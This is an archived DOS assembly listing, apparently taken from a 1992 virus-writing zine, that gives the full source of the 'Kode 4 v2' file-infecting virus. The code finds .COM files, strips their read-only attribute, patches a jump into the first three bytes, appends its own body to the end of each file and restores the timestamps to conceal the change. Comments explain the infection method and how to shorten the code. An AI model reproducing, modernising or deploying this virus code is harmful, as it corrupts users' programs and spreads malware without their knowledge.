home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / KODE4V2.ASM < prev    next >
Assembly Source File  |  1992-12-23  |  7KB  |  192 lines

  1. ─────────═════════>>> Article From Evolution #2 - YAM '92
  2.  
  3. Article Title: Kode 4 v2 Virus
  4. Author: Soltan Griss
  5.  
  6.  
  7. seg_a           segment byte public
  8.                 assume  cs:seg_a, ds:seg_a
  9.  
  10.  
  11.                 org     100h
  12. V_Length        equ     vend-vstart
  13. KODE4           proc    far       
  14. start           label   near            
  15.                 db      0E9h,00h,00h
  16.             
  17.                 
  18. vstart          equ     $
  19.                 
  20.                 mov     si,100h                 ;get si to point to 100
  21.                 mov     di,102h                 ;get di to point to 102
  22. lback:          inc     di                      ;increment di
  23.                 mov     ax,word ptr [si]        ;si is ponting to ax
  24.                 cmp     word ptr [di],ax        ;compare ax with di loc
  25.                 jne     lback                   ;INE go back and inc di
  26.                                                 
  27.  
  28.                 mov     ax,word ptr [si+1]
  29.                 cmp     ax,word ptr [di+1]
  30.                 je      lout
  31.                 jmp     lback
  32.  
  33. lout:           add     di,3h                   ;jmp stored in the end
  34.                 sub     di,(v_length+100h)      ;+3 to get to end and -
  35.                 mov     si,di                   ;
  36. ;**********************************************************************
  37. ;*
  38. ;*  The above code can be re-written as follows...
  39. ;*  The above idea, although it works is very long in code....
  40. ;*  when DOS does a load and execute it pushes all registers the last
  41. ;*  register to be pushed contains the file length. so just subtract
  42. ;*  the current location
  43. ;**********************************************************************
  44. ;
  45. ;
  46. ;
  47. ;Host_Off:       pop     bp
  48. ;                sub     bp,offset host_off
  49. ;                mov     si,bp
  50. ;
  51. ;*** Before opening any file copy the original three bytes back to 100h
  52. ;*** Because they will get overwritten when you check any new files
  53.                 lea     di,temp_buff
  54.                 add     di,si
  55.                 mov     ax,word ptr [di]
  56.                 mov     cl,byte ptr [di+2]
  57.                 mov     di,100h
  58.                 mov     word ptr [di],ax
  59.                 mov     byte ptr [di+2],cl
  60.  
  61.  
  62.                 mov     ah,4Eh             ;Find first Com file
  63.                 mov     dx,offset filename  ; offset of "*.com"     
  64.                 add     dx,si
  65.                 int     21h                
  66.                 jnc     back
  67.                 jmp     done                         
  68. Back:                                       
  69.                 mov     ah,43h              ;get rid of read only
  70.                 mov     al,0
  71.                 mov     dx,9eh
  72.                 int     21h
  73.                 mov     ah,43h
  74.                 mov     al,01
  75.                 and     cx,11111110b
  76.                 int     21h
  77.                 
  78.                 mov     ax,3D02h           ;Open file for read/writing
  79.                 mov     dx,9Eh             ;get file name from file DTA
  80.                 int     21h
  81.                 jnc     next                              
  82.                 jmp     done
  83. next:           mov     bx,ax               ;save handle in bx
  84.                 mov     ah,57h              ;get time date
  85.                 mov     al,0
  86.                 int     21h
  87.                 
  88.                 push    cx                  ;put in stack for later
  89.                 push    dx
  90.  
  91.                 mov     ax,4200h        ; Move ptr to start of file
  92.                 xor     cx,cx
  93.                 xor     dx,dx
  94.                 int     21h
  95.                                 
  96.                 
  97.                 mov     ah,3fh                ;load first 3 bytes
  98.                 mov     cx,3
  99.                 
  100.                 mov     dx,offset temp_buff 
  101.                 add     dx,si
  102.                 int     21h
  103.         
  104.                 xor     cx,cx       ;move file pointer to end of file
  105.                 xor     dx,dx
  106.                 mov     ax,4202h
  107.                 int     21h
  108.                 sub     ax,3                    ; Fix for real location
  109.                 push    ax
  110.               ; nop                             ;
  111.               ; nop                             ; used for debugging
  112.               ; nop                             ;
  113.               ; nop                             ;
  114.               ; nop
  115.                 
  116.                 mov     di,offset temp_buff
  117.                 add     di,si
  118.                 mov     word ptr [j_code2+si],ax; Save two bytes in a 
  119.                                                 ; word [jumpin]
  120.  
  121.                 cmp     byte ptr [di],0e9h  ;look for a jmp at begining
  122.                 jne     infect
  123.  
  124.                 mov     cx,word ptr [di+1]  ;check for XXX bytes at end
  125.                 pop     ax
  126.                 sub     ax,v_length
  127.                 cmp     ax, cx              ; jump (id string to check)
  128.                 jne     infect
  129.                 jmp     finish
  130.  
  131.  
  132.  
  133. infect:      
  134.                 
  135.                 xor     cx,cx           ;move file pointer to begining 
  136.                 xor     dx,dx           ;to write jump
  137.                 mov     ax,4200h
  138.                 int     21h
  139.  
  140.                 mov     ah,40h           ;write jump in first 3 bytes
  141.                 mov     cx,3
  142.                 mov     dx, offset j_code1
  143.                 add     dx,si
  144.                 int     21h
  145.  
  146.                 xor     cx,cx       ;move file pointer to end of file
  147.                 xor     dx,dx
  148.                 mov     ax, 4202h
  149.                 int     21h
  150.  
  151.                 mov     dx,offset vstart    
  152.                 add     dx,si            ;Start writing at top of virus
  153.                 mov     cx,(vend-vstart)   ; Set for length of virus
  154.                 mov     ah,40h             ;Write Data into the file
  155.                 int     21h                   
  156.  
  157.  
  158. Finish:         pop     dx                 ;Restore old dates and times 
  159.                 pop     cx
  160.                 mov     ah,57h
  161.                 mov     al,01h
  162.                 int     21h
  163.  
  164.                 mov     ah,3Eh             ;Close the file
  165.                 int     21h                   
  166.                 
  167.                 mov     ah,4Fh             ;Find Next file
  168.                 int     21h                    
  169.                 jc      done
  170.                 jmp     back
  171.                 
  172. done:
  173.                 mov     bp,100h
  174.                 jmp     bp
  175.  
  176.  
  177. filename        db      "*.com",0                     
  178. DATA            db      " -=+ Kode4 +=-, The one and ONLY!$"
  179.  
  180. j_code1         db      0e9h 
  181. j_code2         db      00h,00h
  182. temp_buff       db      0cdh,020h,090h  ; CD 20 NOP
  183. kode4           endp    
  184.  
  185. vend            equ     $
  186.  
  187. seg_a           ends
  188.  
  189.                 end     start
  190.  
  191.  
  192.